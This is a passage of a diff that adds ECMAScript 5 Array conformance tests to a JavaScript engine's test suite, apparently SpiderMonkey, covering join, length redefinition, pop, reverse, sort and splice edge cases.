+assertEq(undefiney.join(stringifyCounter), "1objobj3obj4obj5");
+assertEq(count, 1);
+
+var log = '';
+arr = {length: {valueOf: function () { log += "L"; return 2; }},
+ 0: "x", 1: "z"};
+var sep = {toString: function () { log += "S"; return "y"; }};
+assertEq(Array.prototype.join.call(arr, sep), "xyz");
+assertEq(log, "LS");
+
+var funky =
+ {
+ toString: function()
+ {
+ Array.prototype[1] = "chorp";
+ Object.prototype[3] = "fnord";
+ return "funky";
+ }
+ };
+var trailingHoles = [0, funky, /* 2 */, /* 3 */,];
+assertEq(trailingHoles.join(""), "0funkyfnord");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/length-01.js b/js/src/tests/ecma_5/Array/length-01.js
new file mode 100644
index 000000000..4fe81e2b6
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/length-01.js
@@ -0,0 +1,71 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 600392;
+var summary =
+ 'Object.preventExtensions([]).length = 0 should do nothing, not throw';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+
+function testEmpty()
+{
+ var a = [];
+ assertEq(a.length, 0);
+ assertEq(Object.preventExtensions(a), a);
+ assertEq(a.length, 0);
+ a.length = 0;
+ assertEq(a.length, 0);
+}
+testEmpty();
+
+function testEmptyStrict()
+{
+ "use strict";
+ var a = [];
+ assertEq(a.length, 0);
+ assertEq(Object.preventExtensions(a), a);
+ assertEq(a.length, 0);
+ a.length = 0;
+ assertEq(a.length, 0);
+}
+testEmptyStrict();
+
+function testNonEmpty()
+{
+ var a = [1, 2, 3];
+ assertEq(a.length, 3);
+ assertEq(Object.preventExtensions(a), a);
+ assertEq(a.length, 3);
+ a.length = 0;
+ assertEq(a.length, 0);
+}
+testNonEmpty();
+
+function testNonEmptyStrict()
+{
+ "use strict";
+ var a = [1, 2, 3];
+ assertEq(a.length, 3);
+ assertEq(Object.preventExtensions(a), a);
+ assertEq(a.length, 3);
+ a.length = 0;
+ assertEq(a.length, 0);
+}
+testNonEmptyStrict();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Array/length-nonwritable-redefine-nop.js b/js/src/tests/ecma_5/Array/length-nonwritable-redefine-nop.js
new file mode 100644
index 000000000..1d7fe32c8
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/length-nonwritable-redefine-nop.js
@@ -0,0 +1,70 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858381;
+var summary = "No-op array length redefinition";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr;
+
+// initializedLength == capacity == length
+// 6 == 6 == 6
+arr = Object.defineProperty([0, 1, 2, 3, 4, 5], "length", { writable: false });
+Object.defineProperty(arr, "length", { value: 6 });
+Object.defineProperty(arr, "length", { writable: false });
+Object.defineProperty(arr, "length", { configurable: false });
+Object.defineProperty(arr, "length", { writable: false, configurable: false });
+Object.defineProperty(arr, "length", { writable: false, value: 6 });
+Object.defineProperty(arr, "length", { configurable: false, value: 6 });
+Object.defineProperty(arr, "length", { writable: false, configurable: false, value: 6 });
+
+// initializedLength == capacity < length
+// 6 == 6 < 8
+arr = Object.defineProperty([0, 1, 2, 3, 4, 5], "length", { value: 8, writable: false });
+Object.defineProperty(arr, "length", { value: 8 });
+Object.defineProperty(arr, "length", { writable: false });
+Object.defineProperty(arr, "length", { configurable: false });
+Object.defineProperty(arr, "length", { writable: false, configurable: false });
+Object.defineProperty(arr, "length", { writable: false, value: 8 });
+Object.defineProperty(arr, "length", { configurable: false, value: 8 });
+Object.defineProperty(arr, "length", { writable: false, configurable: false, value: 8 });
+
+// initializedLength < capacity == length
+// 7 < 8 == 8
+arr = Object.defineProperty([0, 1, 2, 3, 4, 5, 6, /* hole */, ], "length",
+ { value: 8, writable: false });
+Object.defineProperty(arr, "length", { value: 8 });
+Object.defineProperty(arr, "length", { writable: false });
+Object.defineProperty(arr, "length", { configurable: false });
+Object.defineProperty(arr, "length", { writable: false, configurable: false });
+Object.defineProperty(arr, "length", { writable: false, value: 8 });
+Object.defineProperty(arr, "length", { configurable: false, value: 8 });
+Object.defineProperty(arr, "length", { writable: false, configurable: false, value: 8 });
+
+// initializedLength < capacity < length
+// 3 < 6 < 8
+arr = Object.defineProperty([0, 1, 2], "length", { value: 8, writable: false });
+Object.defineProperty(arr, "length", { value: 8 });
+Object.defineProperty(arr, "length", { writable: false });
+Object.defineProperty(arr, "length", { configurable: false });
+Object.defineProperty(arr, "length", { writable: false, configurable: false });
+Object.defineProperty(arr, "length", { writable: false, value: 8 });
+Object.defineProperty(arr, "length", { configurable: false, value: 8 });
+Object.defineProperty(arr, "length", { writable: false, configurable: false, value: 8 });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/length-set-object.js b/js/src/tests/ecma_5/Array/length-set-object.js
new file mode 100644
index 000000000..bf80b592e
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/length-set-object.js
@@ -0,0 +1,68 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 657298;
+var summary = 'Various quirks of setting array length properties to objects';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function invokeConversionTwice1()
+{
+ var count = 0;
+ [].length = { valueOf: function() { count++; return 1; } };
+ assertEq(count, 2);
+}
+invokeConversionTwice1();
+
+function invokeConversionTwice2()
+{
+ var count = 0;
+ [].length = { toString: function() { count++; return 1; }, valueOf: null };
+ assertEq(count, 2);
+}
+invokeConversionTwice2();
+
+function dontOverwriteError1()
+{
+ try
+ {
+ [].length = { valueOf: {}, toString: {} };
+ throw new Error("didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "expected a TypeError running out of conversion options, got " + e);
+ }
+}
+dontOverwriteError1();
+
+function dontOverwriteError2()
+{
+ try
+ {
+ [].length = { valueOf: function() { throw "error"; } };
+ throw new Error("didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e, "error", "expected 'error' from failed conversion, got " + e);
+ }
+}
+dontOverwriteError2();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Array/length-truncate-nonconfigurable-sparse.js b/js/src/tests/ecma_5/Array/length-truncate-nonconfigurable-sparse.js
new file mode 100644
index 000000000..a51fd4089
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/length-truncate-nonconfigurable-sparse.js
@@ -0,0 +1,110 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858381;
+var summary =
+ "Array length redefinition behavior with non-configurable elements";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function addDataProperty(obj, prop, value, enumerable, configurable, writable)
+{
+ var desc =
+ { enumerable: enumerable,
+ configurable: configurable,
+ writable: writable,
+ value: value };
+ Object.defineProperty(obj, prop, desc);
+}
+
+function nonstrict()
+{
+ var arr = [0, , 2, , , 5];
+
+ addDataProperty(arr, 31415926, "foo", true, true, true);
+ addDataProperty(arr, 123456789, "bar", true, true, false);
+ addDataProperty(arr, 8675309, "qux", false, true, true);
+ addDataProperty(arr, 1735039, "eit", false, true, false);
+ addDataProperty(arr, 987654321, "fun", false, true, false);
+
+ // non-array indexes to spice things up
+ addDataProperty(arr, "foopy", "sdfsd", false, false, false);
+ addDataProperty(arr, 4294967296, "psych", true, false, false);
+ addDataProperty(arr, 4294967295, "psych", true, false, false);
+
+ addDataProperty(arr, 27182818, "eep", false, false, false);
+
+ // Truncate...but only as far as possible.
+ arr.length = 1;
+
+ assertEq(arr.length, 27182819);
+
+ var props = Object.getOwnPropertyNames(arr).sort();
+ var expected =
+ ["0", "2", "5", "1735039", "8675309", "27182818",
+ "foopy", "4294967296", "4294967295", "length"].sort();
+
+ assertEq(props.length, expected.length);
+ for (var i = 0; i < props.length; i++)
+ assertEq(props[i], expected[i], "unexpected property: " + props[i]);
+}
+nonstrict();
+
+function strict()
+{
+ "use strict";
+
+ var arr = [0, , 2, , , 5];
+
+ addDataProperty(arr, 31415926, "foo", true, true, true);
+ addDataProperty(arr, 123456789, "bar", true, true, false);
+ addDataProperty(arr, 8675309, "qux", false, true, true);
+ addDataProperty(arr, 1735039, "eit", false, true, false);
+ addDataProperty(arr, 987654321, "fun", false, true, false);
+
+ // non-array indexes to spice things up
+ addDataProperty(arr, "foopy", "sdfsd", false, false, false);
+ addDataProperty(arr, 4294967296, "psych", true, false, false);
+ addDataProperty(arr, 4294967295, "psych", true, false, false);
+
+ addDataProperty(arr, 27182818, "eep", false, false, false);
+
+ try
+ {
+ arr.length = 1;
+ throw new Error("didn't throw?!");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "non-configurable property should trigger TypeError, got " + e);
+ }
+
+ assertEq(arr.length, 27182819);
+
+ var props = Object.getOwnPropertyNames(arr).sort();
+ var expected =
+ ["0", "2", "5", "1735039", "8675309", "27182818",
+ "foopy", "4294967296", "4294967295", "length"].sort();
+
+ assertEq(props.length, expected.length);
+ for (var i = 0; i < props.length; i++)
+ assertEq(props[i], expected[i], "unexpected property: " + props[i]);
+}
+strict();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/length-truncate-nonconfigurable.js b/js/src/tests/ecma_5/Array/length-truncate-nonconfigurable.js
new file mode 100644
index 000000000..e9a66fe0a
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/length-truncate-nonconfigurable.js
@@ -0,0 +1,48 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858381;
+var summary =
+ "Array length redefinition behavior with non-configurable elements";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [0, 1, 2];
+Object.defineProperty(arr, 1, { configurable: false });
+
+try
+{
+ Object.defineProperty(arr, "length", { value: 0, writable: false });
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "must throw TypeError when array truncation would have to remove " +
+ "non-configurable elements");
+}
+
+assertEq(arr.length, 2, "length is highest remaining index plus one");
+
+var desc = Object.getOwnPropertyDescriptor(arr, "length");
+assertEq(desc !== undefined, true);
+
+assertEq(desc.value, 2);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/length-truncate-with-indexed.js b/js/src/tests/ecma_5/Array/length-truncate-with-indexed.js
new file mode 100644
index 000000000..9e4da812a
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/length-truncate-with-indexed.js
@@ -0,0 +1,101 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858381;
+var summary =
+ "Array length setting/truncating with non-dense, indexed elements";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testTruncateDenseAndSparse()
+{
+ var arr;
+
+ // initialized length 16, capacity same
+ arr = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15];
+
+ // plus a sparse element
+ arr[987654321] = 987654321;
+
+ // lop off the sparse element and half the dense elements, shrink capacity
+ arr.length = 8;
+
+ assertEq(987654321 in arr, false);
+ assertEq(arr[987654321], undefined);
+ assertEq(arr.length, 8);
+}
+testTruncateDenseAndSparse();
+
+function testTruncateSparse()
+{
+ // initialized length 8, capacity same
+ var arr = [0, 1, 2, 3, 4, 5, 6, 7];
+
+ // plus a sparse element
+ arr[987654321] = 987654321;
+
+ // lop off the sparse element, leave initialized length/capacity unchanged
+ arr.length = 8;
+
+ assertEq(987654321 in arr, false);
+ assertEq(arr[987654321], undefined);
+ assertEq(arr.length, 8);
+}
+testTruncateSparse();
+
+function testTruncateDenseAndSparseShrinkCapacity()
+{
+ // initialized length 11, capacity...somewhat larger, likely 16
+ var arr = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
+
+ // plus a sparse element
+ arr[987654321] = 987654321;
+
+ // lop off the sparse element, reduce initialized length, reduce capacity
+ arr.length = 8;
+
+ assertEq(987654321 in arr, false);
+ assertEq(arr[987654321], undefined);
+ assertEq(arr.length, 8);
+}
+testTruncateDenseAndSparseShrinkCapacity();
+
+function testTruncateSparseShrinkCapacity()
+{
+ // initialized length 8, capacity same
+ var arr = [0, 1, 2, 3, 4, 5, 6, 7];
+
+ // capacity expands to accommodate, initialized length remains same (not equal
+ // to capacity or length)
+ arr[15] = 15;
+
+ // now no elements past initialized length
+ delete arr[15];
+
+ // ...except a sparse element
+ arr[987654321] = 987654321;
+
+ // trims sparse element, doesn't change initialized length, shrinks capacity
+ arr.length = 8;
+
+ assertEq(987654321 in arr, false);
+ assertEq(arr[987654321], undefined);
+ assertEq(arr.length, 8);
+}
+testTruncateSparseShrinkCapacity();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/pop-empty-nonwritable.js b/js/src/tests/ecma_5/Array/pop-empty-nonwritable.js
new file mode 100644
index 000000000..f42ca98f5
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/pop-empty-nonwritable.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858381;
+var summary = 'Object.freeze([]).pop() must throw a TypeError';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ Object.freeze([]).pop();
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown TypeError, instead got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/pop-nonarray-higher-elements.js b/js/src/tests/ecma_5/Array/pop-nonarray-higher-elements.js
new file mode 100644
index 000000000..052eb4230
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/pop-nonarray-higher-elements.js
@@ -0,0 +1,91 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 909602;
+var summary =
+ "Array.prototype.pop shouldn't touch elements greater than length on " +
+ "non-arrays";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function doTest(obj, index)
+{
+ // print("testing " + JSON.stringify(obj) + " with index " + index);
+ assertEq(Array.prototype.pop.call(obj), undefined);
+ assertEq(index in obj, true);
+ assertEq(obj[index], 42);
+}
+
+// not-super-much-later element
+
+// non-zero length
+function testPop1()
+{
+ var obj = { length: 2, 3: 42 };
+ doTest(obj, 3);
+}
+for (var i = 0; i < 50; i++)
+ testPop1();
+
+// zero length
+function testPop2()
+{
+ var obj = { length: 0, 3: 42 };
+ doTest(obj, 3);
+}
+for (var i = 0; i < 50; i++)
+ testPop2();
+
+// much-later (but dense) element
+
+// non-zero length
+function testPop3()
+{
+ var obj = { length: 2, 55: 42 };
+ doTest(obj, 55);
+}
+for (var i = 0; i < 50; i++)
+ testPop3();
+
+// zero length
+function testPop4()
+{
+ var obj = { length: 0, 55: 42 };
+ doTest(obj, 55);
+}
+for (var i = 0; i < 50; i++)
+ testPop4();
+
+// much much much later (sparse) element
+
+// non-zero length
+function testPop5()
+{
+ var obj = { length: 2, 65530: 42 };
+ doTest(obj, 65530);
+}
+for (var i = 0; i < 50; i++)
+ testPop5();
+
+// zero length
+function testPop6()
+{
+ var obj = { length: 0, 65530: 42 };
+ doTest(obj, 65530);
+}
+for (var i = 0; i < 50; i++)
+ testPop6();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/redefine-length-frozen-array.js b/js/src/tests/ecma_5/Array/redefine-length-frozen-array.js
new file mode 100644
index 000000000..ca3b43018
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/redefine-length-frozen-array.js
@@ -0,0 +1,26 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 866580;
+var summary = "Assertion redefining length property of a frozen array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = Object.freeze([]);
+Object.defineProperty(arr, "length", {});
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/redefine-length-frozen-dictionarymode-array.js b/js/src/tests/ecma_5/Array/redefine-length-frozen-dictionarymode-array.js
new file mode 100644
index 000000000..bca6e0cd7
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/redefine-length-frozen-dictionarymode-array.js
@@ -0,0 +1,36 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 880591;
+var summary =
+ "Assertion redefining length property of a frozen dictionary-mode array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function convertToDictionaryMode(arr)
+{
+ Object.defineProperty(arr, 0, { configurable: true });
+ Object.defineProperty(arr, 1, { configurable: true });
+ delete arr[0];
+}
+
+var arr = [];
+convertToDictionaryMode(arr);
+Object.freeze(arr);
+Object.defineProperty(arr, "length", {});
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/redefine-nonwritable-length-custom-conversion-call-counts.js b/js/src/tests/ecma_5/Array/redefine-nonwritable-length-custom-conversion-call-counts.js
new file mode 100644
index 000000000..b77f39675
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/redefine-nonwritable-length-custom-conversion-call-counts.js
@@ -0,0 +1,45 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 866700;
+var summary = "Assertion redefining non-writable length to a non-numeric value";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count = 0;
+
+var convertible =
+ {
+ valueOf: function()
+ {
+ count++;
+ return 0;
+ }
+ };
+
+var arr = [];
+Object.defineProperty(arr, "length", { value: 0, writable: false });
+
+Object.defineProperty(arr, "length", { value: convertible });
+assertEq(count, 2);
+
+Object.defineProperty(arr, "length", { value: convertible });
+assertEq(count, 4);
+
+assertEq(arr.length, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/redefine-nonwritable-length-custom-conversion-throw.js b/js/src/tests/ecma_5/Array/redefine-nonwritable-length-custom-conversion-throw.js
new file mode 100644
index 000000000..f3003a6bd
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/redefine-nonwritable-length-custom-conversion-throw.js
@@ -0,0 +1,58 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 866700;
+var summary = "Assertion redefining non-writable length to a non-numeric value";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count = 0;
+
+var convertible =
+ {
+ valueOf: function()
+ {
+ count++;
+ if (count > 2)
+ return 0;
+ throw new SyntaxError("fnord");
+ }
+ };
+
+var arr = [];
+Object.defineProperty(arr, "length", { value: 0, writable: false });
+
+try
+{
+ Object.defineProperty(arr, "length",
+ {
+ value: convertible,
+ writable: true,
+ configurable: true,
+ enumerable: true
+ });
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true, "expected SyntaxError, got " + e);
+}
+
+assertEq(count, 1);
+assertEq(arr.length, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/redefine-nonwritable-length-nonnumeric.js b/js/src/tests/ecma_5/Array/redefine-nonwritable-length-nonnumeric.js
new file mode 100644
index 000000000..aab9c1d5d
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/redefine-nonwritable-length-nonnumeric.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 866700;
+var summary = "Assertion redefining non-writable length to a non-numeric value";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [];
+Object.defineProperty(arr, "length", { value: 0, writable: false });
+
+// Per Array's magical behavior, the value in the descriptor gets canonicalized
+// *before* SameValue comparisons occur, so this shouldn't throw.
+Object.defineProperty(arr, "length", { value: '' });
+
+assertEq(arr.length, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/regress-599159.js b/js/src/tests/ecma_5/Array/regress-599159.js
new file mode 100644
index 000000000..bd8225b52
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/regress-599159.js
@@ -0,0 +1,10 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var b = Object.create(Array.prototype);
+b.length = 12;
+assertEq(b.length, 12);
+
+reportCompare(true,true);
diff --git a/js/src/tests/ecma_5/Array/reverse-order-of-low-high-accesses.js b/js/src/tests/ecma_5/Array/reverse-order-of-low-high-accesses.js
new file mode 100644
index 000000000..a9b1e80de
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/reverse-order-of-low-high-accesses.js
@@ -0,0 +1,88 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858677;
+var summary =
+ "[].reverse should swap elements low to high using accesses to low " +
+ "elements, then accesses to high elements";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var observed = [];
+
+// (0, 7) hits the lowerExists/upperExists case.
+// (1, 6) hits the !lowerExists/upperExists case.
+// (2, 5) hits the lowerExists/!upperExists case.
+// (3, 4) hits the !lowerExists/!upperExists case.
+//
+// It'd be a good idea to have a second version of this test at some point
+// where the "array" being reversed is a proxy, to detect proper ordering of
+// getproperty, hasproperty, setproperty into a hole, and deleteproperty from a
+// non-configurable element. But at present our Array.prototype.reverse
+// implementation probably doesn't conform fully to all this (because our
+// internal MOP is still slightly off), so punt for now.
+var props =
+ {
+ 0: {
+ configurable: true,
+ get: function() { observed.push("index 0 get"); return "index 0 get"; },
+ set: function(v) { observed.push("index 0 set: " + v); }
+ },
+ /* 1: hole */
+ 2: {
+ configurable: true,
+ get: function() { observed.push("index 2 get"); return "index 2 get"; },
+ set: function(v) { observed.push("index 2 set: " + v); }
+ },
+ /* 3: hole */
+ /* 4: hole */
+ /* 5: hole */
+ 6: {
+ configurable: true,
+ get: function() { observed.push("index 6 get"); return "index 6 get"; },
+ set: function(v) { observed.push("index 6 set: " + v); }
+ },
+ 7: {
+ configurable: true,
+ get: function() { observed.push("index 7 get"); return "index 7 get"; },
+ set: function(v) { observed.push("index 7 set: " + v); }
+ },
+ };
+
+var arr = Object.defineProperties(new Array(8), props);
+
+arr.reverse();
+
+var expectedObserved =
+ ["index 0 get", "index 7 get", "index 0 set: index 7 get", "index 7 set: index 0 get",
+ "index 6 get",
+ "index 2 get"
+ /* nothing for 3/4 */];
+print(observed);
+// Do this before the assertions below futz even more with |observed|.
+assertEq(observed.length, expectedObserved.length);
+for (var i = 0; i < expectedObserved.length; i++)
+ assertEq(observed[i], expectedObserved[i]);
+
+assertEq(arr[0], "index 0 get"); // no deletion, setting doesn't overwrite
+assertEq(arr[1], "index 6 get"); // copies result of getter
+assertEq(2 in arr, false); // deleted
+assertEq(3 in arr, false); // never there
+assertEq(4 in arr, false); // never there
+assertEq(arr[5], "index 2 get"); // copies result of getter
+assertEq(6 in arr, false); // deleted
+assertEq(arr[7], "index 7 get"); // no deletion, setter doesn't overwrite
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/shell.js b/js/src/tests/ecma_5/Array/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/shell.js
diff --git a/js/src/tests/ecma_5/Array/sort-01.js b/js/src/tests/ecma_5/Array/sort-01.js
new file mode 100644
index 000000000..da90220ae
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/sort-01.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 604971;
+var summary = 'array.sort compare-function gets incorrect this';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+[1, 2, 3].sort(function() { "use strict"; assertEq(this, undefined); });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Array/sort-array-with-holes-and-undefined.js b/js/src/tests/ecma_5/Array/sort-array-with-holes-and-undefined.js
new file mode 100644
index 000000000..b77c6d341
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/sort-array-with-holes-and-undefined.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 664528;
+var summary =
+ "Sorting an array containing only holes and |undefined| should move all " +
+ "|undefined| to the start of the array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var a = [, , , undefined];
+a.sort();
+
+assertEq(a.hasOwnProperty(0), true);
+assertEq(a[0], undefined);
+assertEq(a.hasOwnProperty(1), false);
+assertEq(a.hasOwnProperty(2), false);
+assertEq(a.hasOwnProperty(3), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/splice-return-array-elements-defined-not-set.js b/js/src/tests/ecma_5/Array/splice-return-array-elements-defined-not-set.js
new file mode 100644
index 000000000..2f5eca610
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/splice-return-array-elements-defined-not-set.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 668024;
+var summary =
+ 'Array.prototype.splice should define, not set, the elements of the array ' +
+ 'it returns';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Object.defineProperty(Object.prototype, 2,
+ {
+ set: function(v)
+ {
+ throw new Error("setter on Object.prototype called!");
+ },
+ get: function() { return "fnord"; },
+ enumerable: false,
+ configurable: true
+ });
+
+var arr = [0, 1, 2, 3, 4, 5];
+var removed = arr.splice(0, 6);
+
+assertEq(arr.length, 0);
+assertEq(removed.length, 6);
+assertEq(removed[0], 0);
+assertEq(removed[1], 1);
